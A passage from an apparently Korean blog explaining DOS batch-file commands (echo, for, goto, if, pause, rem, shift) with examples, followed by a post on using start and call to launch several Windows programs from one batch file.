◇ 사용법 : echo [on/off] [문자열]

◇ 옵션
- on : 배치 파일 실행중에 그 배치 파일 내의 명령어를 화면에 표시합니다.
- off : 배치 파일 실행중에 명령어를 화면에 출력하지 않도록 합니다.
- 문자열 : 화면에 출력하고 싶은 메세지를 적어줍니다.
- 없음 : 현재 ECHO 설정 상태를 표시합니다.

◇ 예  :

echo off   
☞ 현재 실행중인 배치 파일 내의 명령어를 화면에  나타나지 않도록 함.
echo
echo 안녕하세요?~
☞ 현재 echo 설정상태를 표시하며  안녕하세요?~ 라는 문구를 화면에 출력합니다.  


4. FOR

지정된 집합 중의 각각의 요소에 대하여 명령으로 설정한 처리를 반복 실행합니다.

◇ 사용법

For %%<변수> IN (<집합>) DO <명령> [<옵션>]    ☞ 배치파일용.
For %<변수> IN (<집합>) DO <명령> <옵션>]        ☞ 순차처리용.


◇ 옵션

- %%<변수>, &<변수>  : 변수로 사용되는 것은 임의의 영문자로 1자만 허용됩니다.  주의할 점은 배치파일에서 사용할 경우는 반드시 %%처럼 두개를 연달아 사용해야 하며, 일반 도스 프롬프트에서 사용할 때는 % 하나만 사용합니다.

- <집합> : %%<변수>에 대입하고 싶은 값을, 또는 스페이스로 구분하여 대입하고 싶은 순서대로 나열합니다.

- <명령> : %%<변수>에 대입되어 있는 값에대해 반복적으로 실행하고 싶은 명령을 지정합니다.

- <옵션> : 지정한 명령의 옵션이나 FOR 명령에서 지정한 옵션을 설정합니다.

◇ 예

for  %%f  in  (bak tmp $$$) do del *.%%f /p       ☞ 배치파일의 경우
for %d  in  (read,wh,file) do hlist %d*.*              ☞ 도스 프롬프트에서 실행시

◇ 설명 : 첫 번째는 bak, tmp, $$$ 를 순서대로 %%f 환경 변수에 대입하여 차례대로
 DEL *.bak /p, DEL *.tmp /p, DEL *.$$$ .p 를 실행한 것과 동일한 결과를 얻게됨.

두번째는 READ,WH,FILE 를 순서대로 %d 환경변수에 대입하여 차례대로
 HLIST READ*.*, HLIS TWH *.* , HLIST FILE *.* 를 실행한 것과 동일한 결과를 얻게 됩니다.


5. GOTO

배 치 처리의 흐름을 <레이블>에서 정의되어 있는 위치로 옮깁니다.

◇ 사용법 : Goto <레이블>

◇ 예 :
goto loop
:loop
각 종 처리할 내용


◇ 설명  : 레이블 loop 로 배치 처리의 제어권을 이동시켜 loop 항목에 지정된 각종 처리할 내용을 실행시킵니다.

◇ 참고  : 배치 파일에 레이블 표시는 레이블명 앞에 콜론(:) 을 붙여주며 줄을
              바꿔 맨 앞에 지정해 주어야 합니다.



6. IF

지정한 조건의 판단 결과에 따라서 배치 처리를 진행합니다.

◇ 사용법 :  If [NOT] <조건> <명령>

◇ 옵션

- NOT : 지정한 조건의 반대 조건일 때만 실행합니다.

- 조건

- ERRORLEVEL <수치> : 바로 전에 실행한 명령(프로그램)의 종료 코드가 <수치> 이상일 때에는 참이 되고 <명령> 이 실행됨.

- <문자열1> == <문자열2> : <문자열1> 과 <문자열2> 가 같을 때에만 참이되고 <명령>이 실행됩니다. 주의할 점은 문자열의 대,소문자가 구별되며, 문자열중에 구분기호(콤마,스페이스,세미콜론,등호,탭)가 포함되어 있으면 않됩니다.

- EXIST <파일명> : <파일명>으로 지정한 파일(경로포함)이 존재할 때에만 참이 되고    <명령>이 실행됩니다. <파일명>에는 와일드카드 문자의 사용이 가능합니다.

◇ 예 :
if errorlevel 2 goto quit
if not %1 ==%2 goto process
if exist d:worktemp.$$$ del d:worktemp.$$$


◇ 설명 :
직전에 실행한 명령의 종료 코드가 2 이상일 경우 레이블  QUIT로 이동합니다.

환경변수 %1과 환경변수 %2에 대입되어 있는 문자열이 같지 않을 경우에만 레이블 PROCESS 로 이동합니다.

경로 D:Work 에 temp.$$$ 라는 파일이 존재하면 그 파일을 삭제합니다.


7. PAUSE

배 치 파일 실행을 일시 정지합니다.

◇ 사용법 : Pause [문자열]

◇ 옵션

- 문자열 : 문자열을 생략하면 'press any key to continue...'라는 메세지가 화면에  출력됩니다. 만약 PAUSE 명령 뒤에 어떤 메세지를 지정하여 그 메시지를  출력하고 싶다면 'Echo On' 명령을 우선 내려야 합니다.

◇ 예 :   
 echo on
 pause  준비가 되었으면 아무키나 누르세요...


◇ 설명 :  배치 처리 중 pause명령을 만났을때 임의의 다른 메시지를 화면에 출력하고 싶다면 예 에서와 같이 반드시 echo on 명령이 선행되어야 하며 예의 경우에는  ' 준비가 되었으면 아무키나 누르세요...' 라는 메세지가 출력됩니다.

◇ 참고 :  위 처럼 하면 화면에 Pause 라는 명령어까지 같이 출력되므로 이런경우
echo on
echo  준비가 되었으면 아무키나 누르세요...
pause > Null


이 런식으로 사용하면 출력하고자 하는 메세지만 화면에 출력됩니다.


8. REM

배치 파일 내에 주석문을 부여하고 싶을 때 사용합니다.

◇ 사용법 : rem [문자열]

◇ 옵션    

- 문자열 : 주석문으로 쓰고 싶은 것을 적어줍니다.

◇ 예 : REM 이 배치파일은 샘플입니다.

배 치파일내의 적당한 위치에 적절한 주석문을 붙여두면 배치 처리의 흐름을 일목요연하게 볼 수 있습니다.


9. SHIFT

배치 파일에 주어진 파라미터(%1~%9)와 실행시에 지정되는 값과의 대응을 하나씩 뒤로 이동하여 표시합니다.

◇ 예

:loop
if "%1" == " " goto end
echo %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
shift
goto loop
:end    


위 와 같이 배치 파일을 작성해두고 다음과 같이 배치파일을  실행해 보면 shift 명령이 어떤 역할을 하는지 금방 알 수 있습니다..
C:bats> test.bat A B C D E F G H I J 0 1 2 3 4 5  똑같이 입력하고 실행후 확인
 
출처: http://blog.empas.com/jim003/3391504

출처 : http://abyul.com/zbxe/aMST_ETC/13074

Posted by 노을지기

댓글을 달아 주세요

발생일: 2009.08.13

문제:
매일 쓰는 프로그램을 좀 쉽게 열고자 배치 프로그램을 작성하려고 한다.
.bat 배치 파일을 만들어서, 단순히 아래와 같이

@echo off
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\QuickStart\setNetworkDrive.bat

해당 exe 파일 주소를 입력하고 저장하여 실행했더니 C:\Program 은 올바른 프로그램이 아니라는 경고 메시지가 뜬다.

어떻게 해야 할까?

해결책:
여러 개의 프로그램이 동시에 실행되게 하기 위해선 몇 가지 주의하여 작성할 점이 있다.

1. 파일 경로 문제
배치 파일에서 실행시킬 파일의 주소에 공백이 들어갈 경우, 공백을 정상적으로 인식하지 못한다.
그렇기 때문에 실행시킬 경로를 따옴표(")로 묶어 주면 된다.
([윈 도우] 공백이 들어간 폴더명/파일명의 파일 실행하기 - Windows 에서 참고)

2. 동시 실행 문제
단순히 위와 같이 파일 경로만 정해주면,
파일이 실행된 후에 그 파일이 종료되고 커맨드가 실행창으로 넘어올 때까지 대기하게 된다.
동시 실행을 위해서는 배치 명령어 start 를 사용하면 되겠다.
start 명령어의 /d 옵션은 파일의 시작 위치를 나타내며, /b 는 새로 창을 띄우지 않겠다는 옵션이다.
(cmd 에서 start /? 으로 확인해보자)

3. 배치 파일의 실행
다른 배치 파일은 call 명령어를 이용해 실행시켜야 한다.
@echo off는 명령줄이 화면에 보이지 않게 하는 것.

최종적인 모습은 아래와 같다.

@echo off
start /d "C:\Program Files\Mozilla Firefox\" /b firefox.exe
start /d "C:\Program Files\Internet Explorer\" /b iexplore.exe
call "C:\QuickStart\setNetworkDrive.bat"


* 좋은 참고 사이트: 윈 도우에서 여러 프로그램을 한 번에 실행시키는 팁에 대해 아주 잘 정리해 놓은 블로그가 있다.

참고 사이트
http://www.plengineer.com/733
http://ohgyun.com/173 
잘 봤습니다. @echo off 만 추가했습니다.
Posted by 노을지기

댓글을 달아 주세요

이전버튼 1 2 3 이전버튼